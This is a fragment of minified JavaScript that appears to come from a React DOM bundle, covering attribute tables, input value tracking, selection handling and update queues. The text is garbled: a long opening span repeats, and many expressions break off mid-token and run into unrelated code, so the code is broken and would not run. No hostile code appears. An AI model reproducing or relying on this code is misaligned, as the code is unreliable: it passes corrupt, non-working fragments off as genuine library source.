window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,zg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,dt={},Ct={};function Dg(s){return Ce.call(Ct,s)?!0:Ce.call(dt,s)?!1:zg.test(s)?Ct[s]=!0:(dt[s]=!0,!1)}function Eg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Qg(s,a,n,l){if(a===null||typeof a>"u"||Eg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Ac=/[\-:]([a-z])/g;function uc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function yc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,zg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,dt={},Ct={};function Dg(s){return Ce.call(Ct,s)?!0:Ce.call(dt,s)?!1:zg.test(s)?Ct[s]=!0:(dt[s]=!0,!1)}function Eg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Qg(s,a,n,l){if(a===null||typeof a>"u"||Eg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Ac=/[\-:]([a-z])/g;function uc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function yc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2t||p[c]!==e[t]){var o=` -`+p[c].replace(" at new "," at ");return s.displayName&&o.includes("")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{zp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?fn(s):""}function Tg(s){switch(s.tag){case 5:return fn(s.type);case 16:return fn("Lazy");case 13:return fn("Suspense");case 19:return fn("SuspenseList");case 0:case 2:case 15:return s=Dp(s.type,!1),s;case 11:return s=Dp(s.type.render,!1),s;case 1:return s=Dp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case mc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case bc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case wc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function Ug(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function _g(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=_g(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ql(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function At(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||Ql(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var Vn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var vn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Lg=["Webkit","ms","Moz","O"];Object.keys(vn).forEach(function(s){Lg.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),vn[a]=vn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||vn.hasOwnProperty(s)&&vn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Og=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Og[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Be(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ge=null;function kc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var fe=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof fe!="function")throw Error(w(280));var a=s.stateNode;a&&(a=wp(a),fe(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(th(s)/oh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function Ll(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Fs(a),s[a]=n}function hh(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Yt=" ",Xt=!1;function vr(s,a){switch(s){case"keyup":return xh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Rr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function zh(s,a){switch(s){case"compositionend":return Rr(a);case"keypress":return a.which!==32?null:(Xt=!0,Yt);case"textInput":return s=a.data,s===Yt&&Xt?null:s;default:return null}}function Dh(s,a){if(Da)return s==="compositionend"||!Xc&&vr(s,a)?(s=Yr(),Fl=fc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ht(n)}}function Kr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Kr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=Ql();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ql(s.document)}return a}function vc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function $h(s){var a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Kr(n.ownerDocument.documentElement,n)){if(l!==null&&vc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Ft(n,e);var c=Ft(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Fn=null,He=!1;function Kt(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==Ql(l)||(l=Ea,"selectionStart"in l&&vc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Fn&&_n(Fn,l)||(Fn=l,l=$l(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function K(s,a){Ua++,Je[Ua]=s.current,s.current=a}var ua={},os=ma(ua),Cs=ma(!1),va=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function js(s){return s=s.childContextTypes,s!=null}function sp(){S(Cs),S(os)}function Et(s,a,n){if(os.current!==ua)throw Error(w(168));K(os,a),K(Cs,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Ug(s)||"Unknown",p));return E({},n,l)}function ap(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,va=os.current,K(os,s),K(Cs,Cs.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,va),l.__reactInternalMemoizedMergedChildContext=s,S(Cs),S(os),K(os,s)):S(Cs),K(Cs,n)}var Ts=null,kp=!1,le=!1;function _r(s){Ts===null?Ts=[s]:Ts.push(s)}function iI(s){kp=!0,_r(s)}function ba(){if(!le&&Ts!==null){le=!0;var s=0,a=F;try{var n=Ts;for(F=1;s>=c,p-=c,Us=1<<32-Fs(a)+p|n<Y?(x=G,G=null):x=G.sibling;var N=j(h,G,C[Y],y);if(N===null){G===null&&(G=x);break}s&&G&&N.alternate===null&&a(h,G),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,G=x}if(Y===C.length)return n(h,G),J&&Za(h,Y),Z;if(G===null){for(;YY?(x=G,G=null):x=G.sibling;var Xs=j(h,G,N.value,y);if(Xs===null){G===null&&(G=x);break}s&&G&&Xs.alternate===null&&a(h,G),g=e(Xs,g,Y),k===null?Z=Xs:k.sibling=Xs,k=Xs,G=x}if(N.done)return n(h,G),J&&Za(h,Y),Z;if(G===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(G=l(h,G);!N.done;Y++,N=C.next())N=u(G,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&G.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&G.forEach(function(un){return a(h,un)}),J&&Za(h,Y),Z}function B(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&_t(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=El(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ge(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,B(h,g,k(C._payload),y)}if(Vn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Bl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=ie(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return B}var on=$r(!0),qr=$r(!1),pp=ma(null),ep=null,Oa=null,Fc=null;function Kc(){Fc=Oa=ep=null}function Mc(s){var a=pp.current;S(pp),s._currentValue=a}function Ee(s,a,n){for(;s!==null;){var l=s.alternate;if((s.childLanes&a)!==a?(s.childLanes|=a,l!==null&&(l.childLanes|=a)):l!==null&&(l.childLanes&a)!==a&&(l.childLanes|=a),s===n)break;s=s.return}}function ln(s,a){ep=s,Fc=Oa=null,s=s.dependencies,s!==null&&s.firstContext!==null&&(s.lanes&a&&(ds=!0),s.firstContext=null)}function Vs(s){var a=s._currentValue;if(Fc!==s)if(s={context:s,memoizedValue:a,next:null},Oa===null){if(ep===null)throw Error(w(308));Oa=s,ep.dependencies={lanes:0,firstContext:s}}else Oa=Oa.next=s;return a}var Ga=null;function Sc(s){Ga===null?Ga=[s]:Ga.push(s)}function si(s,a,n,l){var p=a.interleaved;return p===null?(n.next=n,Sc(a)):(n.next=p.next,p.next=n),a.interleaved=n,$s(s,l)}function $s(s,a){s.lanes|=a;var n=s.alternate;for(n!==null&&(n.lanes|=a),n=s,s=s.return;s!==null;)s.childLanes|=a,n=s.alternate,n!==null&&(n.childLanes|=a),n=s,s=s.return;return n.tag===3?n.stateNode:null}var la=!1;function xc(s){s.updateQueue={baseState:s.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function ai(s,a){s=s.updateQueue,a.updateQueue===s&&(a.updateQueue={baseState:s.baseState,firstBaseUpdate:s.firstBaseUpdate,lastBaseUpdate:s.lastBaseUpdate,shared:s.shared,effects:s.effects})}function Ls(s,a){return{eventTime:s,lane:a,tag:0,payload:null,callback:null,next:null}}function Ia(s,a,n){var l=s.updateQueue;if(l===null)return null;if(l=l.shared,H&2){var p=l.pending;return p===null?a.next=a:(a.next=p.next,p.next=a),l.pending=a,$s(s,n)}return p=l.interleaved,p===null?(a.next=a,Sc(l)):(a.next=p.next,p.next=a),l.interleaved=a,$s(s,n)}function Ml(s,a,n){if(a=a.updateQueue,a!==null&&(a=a.shared,(n&4194240)!==0)){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}function Lt(s,a){var n=s.updateQueue,l=s.alternate;if(l!==null&&(l=l.updateQueue,n===l)){var p=null,e=null;if(n=n.firstBaseUpdate,n!==null){do{var c={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};e===null?p=e=c:e=e.next=c,n=n.next}while(n!==null);e===null?p=e=a:e=e.next=a}else p=e=a;n={baseState:l.baseState,firstBaseUpdate:p,lastBaseUpdate:e,shared:l.shared,effects:l.effects},s.updateQueue=n;return}s=n.lastBaseUpdate,s===null?n.firstBaseUpdate=a:s.next=a,n.lastBaseUpdate=a}function cp(s,a,n,l){var p=s.updateQueue;la=!1;var e=p.firstBaseUpdate,c=p.lastBaseUpdate,t=p.shared.pending;if(t!==null){p.shared.pending=null;var o=t,i=o.next;o.next=null,c===null?e=i:c.next=i,c=o;var I=s.alternate;I!==null&&(I=I.updateQueue,t=I.lastBaseUpdate,t!==c&&(t===null?I.firstBaseUpdate=i:t.next=i,I.lastBaseUpdate=o))}if(e!==null){var d=p.baseState;c=0,I=i=o=null,t=e;do{var j=t.lane,u=t.eventTime;if((l&j)===j){I!==null&&(I=I.next={eventTime:u,lane:0,tag:t.tag,payload:t.payload,callback:t.callback,next:null});s:{var m=s,b=t;switch(j=a,u=n,b.tag){case 1:if(m=b.payload,typeof m=="function"){d=m.call(u,d,j);break s}d=m;break s;case 3:m.flags=m.flags&-65537|128;case 0:if(m=b.payload,j=typeof m=="function"?m.call(u,d,j):m,j==null)break s;d=E({},d,j);break s;case 2:la=!0}}t.callback!==null&&t.lane!==0&&(s.flags|=64,j=p.effects,j===null?p.effects=[t]:j.push(t))}else 